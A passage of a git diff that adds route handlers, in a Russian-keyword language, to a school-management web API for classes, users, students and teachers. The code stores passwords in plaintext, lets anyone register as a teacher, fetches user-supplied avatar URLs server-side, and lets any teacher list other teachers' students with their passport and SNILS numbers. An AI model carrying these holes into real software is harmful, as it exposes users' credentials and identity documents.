клass.вставить("создатель", джесон.ДжесонЧисло{ значение: создатель }) + + джесон ответ.значения.добавить(джесон клass) + } + + пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ + ключ: "классы", + значение: джесон ответ + } + ] + }) + + вернуть хттп.ХттпОтвет{ + туловище: туловище + } +} + +фн создать клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто { + вернуть хттп.ответ_403() + } + + + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_400() + } + + пусть номер := данные.получить("номер").число() + пусть буква := данные.получить("буква").строка() + + если номер = пусто | буква = пусто { + вернуть хттп.ответ_400() + } + + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO classes (number, letter, creator_teacher_id) + VALUES (?, ?, ?) + RETURNING id, number, letter, creator_teacher_id + `, оплошность, номер^.значение, буква^, учитель^.идентификатор) + + если оплошность # "" { + вернуть хттп.ответ_422() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть созданный = ответ.значения[0](:джесон.ДжесонОбъект) + пусть идентификатор = созданный.получить("id").число()^.значение + пусть создан номер = созданный.получить("number").число()^.значение + пусть создан буква = созданный.получить("letter").строка()^ + пусть создан создатель = созданный.получить("creator_teacher_id").число()^.значение + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ключ: "идентификатор", значение: джесон.ДжесонЧисло{значение: идентификатор}}, + джесон.ДжесонКлючЗначение{ключ: "номер", значение: джесон.ДжесонЧисло{значение: создан номер}}, + джесон.ДжесонКлючЗначение{ключ: "буква", значение: джесон.ДжесонСтрока{значение: создан буква}}, + джесон.ДжесонКлючЗначение{ключ: "создатель", значение: джесон.ДжесонЧисло{значение: создан создатель}} + ] + }) + + вернуть хттп.создать ответ( + хттп.ответ_201(), + хттп.ХттпОтвет{туловище: тело} + ) +} + +фн удалить клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + + пусть ответ := джесон.ДжесонМногоЗначений{} + + если админ { + ответ := картотека.запросить безопасно(` + DELETE FROM classes WHERE id = ? + RETURNING id + `, оплошность, ид класса) + } иначе { + ответ := картотека.запросить безопасно(` + DELETE FROM classes WHERE id = ? AND creator_teacher_id = ? + RETURNING id + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ответ.значения) = 0 { + вывод.ф("Класс с id = $стр не найден или не принадлежит учителю", ид класса) + вернуть хттп.ответ_404() + } + + вернуть хттп.ответ_204() +} + +фн добавить ученика в клass*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 2 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + пусть ид ученика = параметры[1] + + пусть клass := джесон.ДжесонМногоЗначений{} + + если админ { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? + `, оплошность, ид класса) + } иначе { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ? + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(клass.значения) = 0 { + вернуть хттп.ответ_403() + } + + пусть ученик = картотека.запросить безопасно(` + SELECT id FROM students WHERE id = ? + `, оплошность, ид ученика) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ученик.значения) = 0 { + вернуть хттп.ответ_404() + } + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO class_students (class_id, student_id) + VALUES (?, ?) + RETURNING id + `, оплошность, ид класса, ид ученика) + + если оплошность # "" { + вернуть хттп.ответ_422() + } + + вернуть хттп.ответ_201() +} + +фн удалить ученика из класса*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 2 { + вернуть хттп.ответ_400() + } + + пусть ид класса = параметры[0] + пусть ид ученика = параметры[1] + + пусть клass := джесон.ДжесонМногоЗначений{} + + если админ { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? + `, оплошность, ид класса) + } иначе { + клass := картотека.запросить безопасно(` + SELECT id FROM classes WHERE id = ? AND creator_teacher_id = ? + `, оплошность, ид класса, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(клass.значения) = 0 { + вернуть хттп.ответ_403() + } + + пусть ответ = картотека.запросить безопасно(` + DELETE FROM class_students + WHERE class_id = ? AND student_id = ? + RETURNING id + `, оплошность, ид класса, ид ученика) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_404() + } + + вернуть хттп.ответ_204() +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/classes", массивы.Строки["GET"], список классов) + маршрутизатор.добавить маршрут("/api/classes", массивы.Строки["POST"], создать клass) + маршрутизатор.добавить маршрут("/api/classes/$", массивы.Строки["DELETE"], удалить клass) + маршрутизатор.добавить маршрут("/api/classes/$/students/$", массивы.Строки["POST"], добавить ученика в клass) + маршрутизатор.добавить маршрут("/api/classes/$/students/$", массивы.Строки["DELETE"], удалить ученика из класса) + + вернуть маршрутизатор +} diff --git a/исх/властелины/пользователи/пользователи.tri b/исх/властелины/пользователи/пользователи.tri new file mode 100644 index 0000000..52cd255 --- /dev/null +++ b/исх/властелины/пользователи/пользователи.tri @@ -0,0 +1,84 @@ +модуль пользователи + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн войти*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть картотека = картотека.зайти() + пусть оплошность := "" + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть имя пользователя := данные.получить("имя пользователя").строка() + пусть пароль := данные.получить("пароль").строка() + + пусть пользователь = репозитории.авторизовать пользователя(имя пользователя^, пароль^, оплошность) + + если оплошность # "" { + вывод.ф("$стр\n", оплошность) + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + вернуть хттп.ХттпОтвет{ + туловище: "Рады видеть вас снова :3" + } +} + +фн сменить пароль*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_400() + } + + пусть новый пароль := данные.получить("новый пароль").строка() + + если новый пароль = пусто | новый пароль^ = "" { + вернуть хттп.ответ_422() + } + + картотека.запросить безопасно(` + UPDATE users SET password = ? WHERE id = ? + `, оплошность, новый пароль^, пользователь^.идентификатор + ) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + вернуть хттп.ответ_204() +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/users/login", массивы.Строки["POST"], войти) + маршрутизатор.добавить маршрут("/api/users/password", массивы.Строки["PUT"], сменить пароль) + + вернуть маршрутизатор +} diff --git a/исх/властелины/пользователи/ученики/ученики.tri b/исх/властелины/пользователи/ученики/ученики.tri new file mode 100644 index 0000000..84f62fb --- /dev/null +++ b/исх/властелины/пользователи/ученики/ученики.tri @@ -0,0 +1,381 @@ +модуль ученики + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн создать*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто { + вернуть хттп.ответ_403() + } + + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_400() + } + + пусть имя := данные.получить("имя").строка() + пусть фамилия := данные.получить("фамилия").строка() + пусть отчество := данные.получить("отчество").строка() + пусть пароль := данные.получить("пароль").строка() + пусть повтор пароля := данные.получить("повтор пароля").строка() + + пусть снилс := данные.получить("снилс").строка() + пусть паспорт := данные.получить("паспорт").строка() + + если имя = пусто | фамилия = пусто | отчество = пусто | пароль = пусто | повтор пароля = пусто | снилс = пусто | паспорт = пусто { + вернуть хттп.ответ_400() + } + + если имя^ = "" | фамилия^ = "" | отчество^ = "" | пароль^ = "" | повтор пароля^ = "" | снилс^ = "" | паспорт^ = "" { + вернуть хттп.ответ_400() + } + + если пароль^ # повтор пароля^ { + вернуть хттп.создать ответ( + хттп.ответ_400(), + хттп.ХттпОтвет{ туловище: "Пароли не совпадают." } + ) + } + + пусть имя пользователя = спринтф.ф("$стр.$стр", имя^, фамилия^) + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO users (first_name, last_name, middle_name, username, password) + VALUES (?, ?, ?, ?, ?) + RETURNING id + `, оплошность, имя^, фамилия^, отчество^, имя пользователя, пароль^) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ответ.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть айди пользователя = ответ.значения[0](:джесон.ДжесонОбъект).получить("id").число() + + если айди пользователя = пусто { + вернуть хттп.ответ_500() + } + + пусть ученик = картотека.запросить безопасно(` + INSERT INTO students (user_id, mentor_id, snils, passport) + VALUES (?, ?, ?, ?) + RETURNING id + `, оплошность, + айди пользователя^.значение, + учитель^.идентификатор, + снилс^, + паспорт^ + ) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ученик.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть созданный = ученик.значения[0](:джесон.ДжесонОбъект) + пусть идентификатор ученика = созданный.получить("id").число() + + если идентификатор ученика = пусто { + вернуть хттп.ответ_500() + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор ученика^.значение } }, + джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } }, + джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } }, + джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } }, + джесон.ДжесонКлючЗначение{ ключ: "снилс", значение: джесон.ДжесонСтрока{ значение: снилс^ } }, + джесон.ДжесонКлючЗначение{ ключ: "паспорт", значение: джесон.ДжесонСтрока{ значение: паспорт^ } }, + джесон.ДжесонКлючЗначение{ ключ: "учитель", значение: джесон.ДжесонЧисло{ значение: учитель^.идентификатор } }, + джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя } } + ] + }) + + вернуть хттп.создать ответ( + хттп.ответ_201(), + хттп.ХттпОтвет{ туловище: тело } + ) +} + +фн список учеников*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + пусть фильтр по учителю := -1 + пусть параметр учитель = обращение.запрос-в-пути.найти("учитель") + + если параметр учитель # пусто { + пусть номер байта := 0 + строка.извлечь цел(параметр учитель^.значение, номер байта, фильтр по учителю) + } иначе если ~админ { + фильтр по учителю := учитель^.идентификатор + } + + если фильтр по учителю = -1 { + вернуть хттп.ответ_400() + } + + пусть найдено = картотека.запросить безопасно(` + SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username + FROM students s + JOIN users u ON u.id = s.user_id + WHERE s.mentor_id = ? + ORDER BY s.id + `, оплошность, фильтр по учителю) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть джесон ученики = джесон.ДжесонМногоЗначений{} + + цикл запись среди найдено.значения { + пусть объект = запись(:джесон.ДжесонОбъект) + + пусть идентификатор = объект.получить("id").число() + пусть имя = объект.получить("first_name").строка() + пусть фамилия = объект.получить("last_name").строка() + пусть отчество = объект.получить("middle_name").строка() + пусть снилс = объект.получить("snils").строка() + пусть паспорт = объект.получить("passport").строка() + пусть наставник = объект.получить("mentor_id").число() + пусть имя пользователя = объект.получить("username").строка() + + пусть студент = джесон.ДжесонОбъект{} + студент.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор^.значение }) + студент.вставить("имя", джесон.ДжесонСтрока{ значение: имя^ }) + студент.вставить("фамилия", джесон.ДжесонСтрока{ значение: фамилия^ }) + студент.вставить("отчество", джесон.ДжесонСтрока{ значение: отчество^ }) + студент.вставить("снилс", джесон.ДжесонСтрока{ значение: снилс^ }) + студент.вставить("паспорт", джесон.ДжесонСтрока{ значение: паспорт^ }) + студент.вставить("наставник", джесон.ДжесонЧисло{ значение: наставник^.значение }) + студент.вставить("имя пользователя", джесон.ДжесонСтрока{ значение: имя пользователя^ }) + + джесон ученики.значения.добавить(студент) + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ + ключ: "ученики", + значение: джесон ученики + } + ] + }) + + вернуть хттп.ХттпОтвет{ туловище: тело } +} + +фн получить*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто & ~админ { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть ид ученика = параметры[0] + + пусть ученик := джесон.ДжесонМногоЗначений{} + + если админ { + ученик := картотека.запросить безопасно(` + SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username + FROM students s + JOIN users u ON u.id = s.user_id + WHERE s.id = ? + `, оплошность, ид ученика) + } иначе { + ученик := картотека.запросить безопасно(` + SELECT s.id, s.snils, s.passport, s.mentor_id, u.first_name, u.last_name, u.middle_name, u.username + FROM students s + JOIN users u ON u.id = s.user_id + WHERE s.id = ? AND s.mentor_id = ? + `, оплошность, ид ученика, учитель^.идентификатор) + } + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(ученик.значения) = 0 { + вернуть хттп.ответ_404() + } + + пусть объект = ученик.значения[0](:джесон.ДжесонОбъект) + + пусть идентификатор = объект.получить("id").число() + пусть имя = объект.получить("first_name").строка() + пусть фамилия = объект.получить("last_name").строка() + пусть отчество = объект.получить("middle_name").строка() + пусть снилс = объект.получить("snils").строка() + пусть паспорт = объект.получить("passport").строка() + пусть наставник = объект.получить("mentor_id").число() + пусть имя пользователя = объект.получить("username").строка() + + если идентификатор = пусто | имя = пусто | фамилия = пусто | отчество = пусто | снилс = пусто | паспорт = пусто | наставник = пусто | имя пользователя = пусто { + вернуть хттп.ответ_500() + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор^.значение } }, + джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } }, + джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } }, + джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } }, + джесон.ДжесонКлючЗначение{ ключ: "снилс", значение: джесон.ДжесонСтрока{ значение: снилс^ } }, + джесон.ДжесонКлючЗначение{ ключ: "паспорт", значение: джесон.ДжесонСтрока{ значение: паспорт^ } }, + джесон.ДжесонКлючЗначение{ ключ: "наставник", значение: джесон.ДжесонЧисло{ значение: наставник^.значение } }, + джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя^ } } + ] + }) + + вернуть хттп.ХттпОтвет{ туловище: тело } +} + +фн удалить*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть учитель = репозитории.пользователь учитель(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если учитель = пусто { + вернуть хттп.ответ_403() + } + + если длина(параметры) < 1 { + вернуть хттп.ответ_400() + } + + пусть ид ученика = параметры[0] + + пусть удален = картотека.запросить безопасно(` + DELETE FROM students WHERE id = ? AND mentor_id = ? + RETURNING id, user_id + `, оплошность, ид ученика, учитель^.идентификатор) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(удален.значения) = 0 { + вернуть хттп.ответ_404() + } + + пусть объект = удален.значения[0](:джесон.ДжесонОбъект) + пусть айди пользователя = объект.получить("user_id").число() + + если айди пользователя = пусто { + вернуть хттп.ответ_500() + } + + картотека.запросить безопасно(` + DELETE FROM users WHERE id = ? + `, оплошность, айди пользователя^.значение) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + вернуть хттп.ответ_204() +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/students", массивы.Строки["POST"], создать) + маршрутизатор.добавить маршрут("/api/students", массивы.Строки["GET"], список учеников) + маршрутизатор.добавить маршрут("/api/students/$", массивы.Строки["GET"], получить) + маршрутизатор.добавить маршрут("/api/students/$", массивы.Строки["DELETE"], удалить) + + вернуть маршрутизатор +} diff --git a/исх/властелины/пользователи/учителя/учителя.tri b/исх/властелины/пользователи/учителя/учителя.tri new file mode 100644 index 0000000..141068a --- /dev/null +++ b/исх/властелины/пользователи/учителя/учителя.tri @@ -0,0 +1,215 @@ +модуль учителя + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн создать*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть картотека = картотека.зайти() + пусть оплошность := "" + пусть данные = джесон.парсить(обращение.туловище, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть имя := данные.получить("имя").строка() + пусть фамилия := данные.получить("фамилия").строка() + пусть отчество := данные.получить("отчество").строка() + пусть образование := данные.получить("образование").строка() + пусть пароль := данные.получить("пароль").строка() + пусть повтор пароля := данные.получить("повтор пароля").строка() + пусть аватар = данные.получить("аватар").строка() + пусть аватар урл := "" + + если имя = пусто | фамилия = пусто | отчество = пусто | образование = пусто | пароль = пусто | повтор пароля = пусто { + вернуть хттп.ответ_400() + } + + если имя^ = "" | фамилия^ = "" | отчество^ = "" | образование^ = "" | пароль^ = "" | повтор пароля^ = "" { + вернуть хттп.ответ_400() + } + + если пароль^ # повтор пароля^ { + вернуть хттп.создать ответ( + хттп.ответ_400(), + хттп.ХттпОтвет{ + туловище: "Пароли не совпадают.", + } + ) + } + + пусть имя пользователя = спринтф.ф("$стр.$стр", имя^, фамилия^) + + пусть ответ = картотека.запросить безопасно(` + INSERT INTO users (first_name, last_name, middle_name, username, password) + VALUES (?, ?, ?, ?, ?) + RETURNING id + `, оплошность, имя^, фамилия^, отчество^, имя пользователя, пароль^) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть айди пользователя = ответ.значения[0](:джесон.ДжесонОбъект).получить("id").число() + + если айди пользователя = пусто { + авария("неверный ответ от базы данных") + } + + если аватар # пусто & аватар^ # "" { + пусть урл = хттп.парсить урл(аватар^, оплошность) + + если оплошность = "" { + пусть ответ = хттп.послать на три буквы(урл.хост, урл.порт, урл.путь) + пусть размер контента := 0 + + цикл [номер]заглавие среди ответ.заглавия { + если заглавие.имя = "Content-Length" { + пусть № байта := 0 + строка.извлечь цел(заглавие.значение, № байта, размер контента) + прервать + } + } + + если размер контента > 0 & размер контента < 1000000 { + аватар урл := аватар^ + } + } + } + + пусть учитель = картотека.запросить безопасно(` + INSERT INTO teachers (user_id, education, avatar_url) + VALUES (?, ?, ?) + RETURNING id + `, оплошность, айди пользователя^.значение, образование^, аватар урл) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если длина(учитель.значения) = 0 { + вернуть хттп.ответ_500() + } + + пусть созданный учитель = учитель.значения[0](:джесон.ДжесонОбъект) + пусть идентификатор учителя = созданный учитель.получить("id").число() + + если идентификатор учителя = пусто { + вернуть хттп.ответ_500() + } + + пусть тело = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ ключ: "идентификатор", значение: джесон.ДжесонЧисло{ значение: идентификатор учителя^.значение } }, + джесон.ДжесонКлючЗначение{ ключ: "образование", значение: джесон.ДжесонСтрока{ значение: образование^ } }, + джесон.ДжесонКлючЗначение{ ключ: "имя", значение: джесон.ДжесонСтрока{ значение: имя^ } }, + джесон.ДжесонКлючЗначение{ ключ: "фамилия", значение: джесон.ДжесонСтрока{ значение: фамилия^ } }, + джесон.ДжесонКлючЗначение{ ключ: "отчество", значение: джесон.ДжесонСтрока{ значение: отчество^ } }, + джесон.ДжесонКлючЗначение{ ключ: "имя пользователя", значение: джесон.ДжесонСтрока{ значение: имя пользователя } } + ] + }) + + вернуть хттп.создать ответ( + хттп.ответ_201(), + хттп.ХттпОтвет{ туловище: тело } + ) +} + +фн список*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если пользователь = пусто { + вернуть хттп.ответ_401() + } + + пусть админ = репозитории.пользователь админ(пользователь^.идентификатор, оплошность) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + если ~админ { + вернуть хттп.ответ_403() + } + + пусть размер страницы := 20 + пусть номер страницы := 1 + + пусть параметр страница = обращение.запрос-в-пути.найти("страница") + если параметр страница # пусто { + пусть номер байта := 0 + строка.извлечь цел(параметр страница^.значение, номер байта, номер страницы) + } + + если номер страницы < 1 { + вернуть хттп.ответ_400() + } + + пусть смещение := (номер страницы - 1) * размер страницы + + пусть учителя = картотека.запросить безопасно(` + SELECT t.id, t.user_id, t.education, t.avatar_url, + u.first_name, u.last_name, u.middle_name, u.username + FROM teachers t + JOIN users u ON u.id = t.user_id + ORDER BY t.id + LIMIT ? OFFSET ? + `, оплошность, размер страницы, смещение) + + если оплошность # "" { + вернуть хттп.ответ_500() + } + + пусть джесон учителя = джесон.ДжесонМногоЗначений{} + + цикл [номер]запись среди учителя.значения { + пусть объект = запись(:джесон.ДжесонОбъект) + + пусть идентификатор = объект.получить("id").число() + пусть образование = объект.получить("education").строка() + пусть имя = объект.получить("first_name").строка() + пусть фамилия = объект.получить("last_name").строка() + пусть отчество = объект.получить("middle_name").строка() + пусть имя пользователя = объект.получить("username").строка() + + пусть учитель = джесон.ДжесонОбъект{} + если идентификатор # пусто { учитель.вставить("идентификатор", джесон.ДжесонЧисло{ значение: идентификатор^.значение }) } + если образование # пусто { учитель.вставить("образование", джесон.ДжесонСтрока{ значение: образование^ }) } + если имя # пусто { учитель.вставить("имя", джесон.ДжесонСтрока{ значение: имя^ }) } + если фамилия # пусто { учитель.вставить("фамилия", джесон.ДжесонСтрока{ значение: фамилия^ }) } + если отчество # пусто { учитель.вставить("отчество", джесон.ДжесонСтрока{ значение: отчество^ }) } + если имя пользователя # пусто { учитель.вставить("имя пользователя", джесон.ДжесонСтрока{ значение: имя пользователя^ }) } + + джесон учителя.значения.добавить(учитель) + } + + пусть туловище = джесон.сериализовать(джесон.ДжесонОбъект{ + значения: джесон.ДжесонКлючЗначения[ + джесон.ДжесонКлючЗначение{ ключ: "учителя", значение: джесон учителя } + ] + }) + + вернуть хттп.ХттпОтвет{ туловище: туловище } +} + +фн добавить маршруты*(маршрутизатор: маршрутизатор.Маршрутизатор): маршрутизатор.Маршрутизатор { + маршрутизатор.добавить маршрут("/api/users", массивы.Строки["POST"], создать) + маршрутизатор.добавить маршрут("/api/teachers", массивы.Строки["GET"], список) + + вернуть маршрутизатор +} diff --git a/исх/властелины/уроки/уроки.tri b/исх/властелины/уроки/уроки.tri new file mode 100644 index 0000000..b0337c7 --- /dev/null +++ b/исх/властелины/уроки/уроки.tri @@ -0,0 +1,392 @@ +модуль уроки + +импорт "стд::вывод" +импорт "исх/строка" +импорт "исх/спринтф" +импорт "исх/массивы" +импорт "исх/сеть/хттп" +импорт "исх/форматы/джесон" +импорт "исх/сеть/хттп/маршрутизатор" +импорт "исх/картотека" +импорт "исх/картотека/репозитории" +импорт "исх/бюрократия" + +фн добавить урок*(путь: Строка, параметры: массивы.Строки, обращение: маршрутизатор.Обращение): хттп.ХттпОтвет { + пусть оплошность := "" + пусть картотека = картотека.зайти() + + пусть пользователь = репозитории.авторизовать по паспорту(бюрократия.получить данные паспорта(обращение), оплошность) + + если оплошность # "" { + 